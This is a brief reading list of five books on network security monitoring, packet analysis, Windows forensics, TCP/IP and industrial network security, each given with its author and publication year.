» The Tao of Network Security Monitoring, Richard Bejtlich (2004)

» Practical Packet Analysis, Chris Sanders (2017)

» Windows Forensic Analysis, Harlan Carvey (2009)

» TCP/IP Illustrated, Volume 1, Kevin Fall and Richard Stevens (2011)

» Industrial Network Security, Eric D. Knapp and Joel Langill (2014)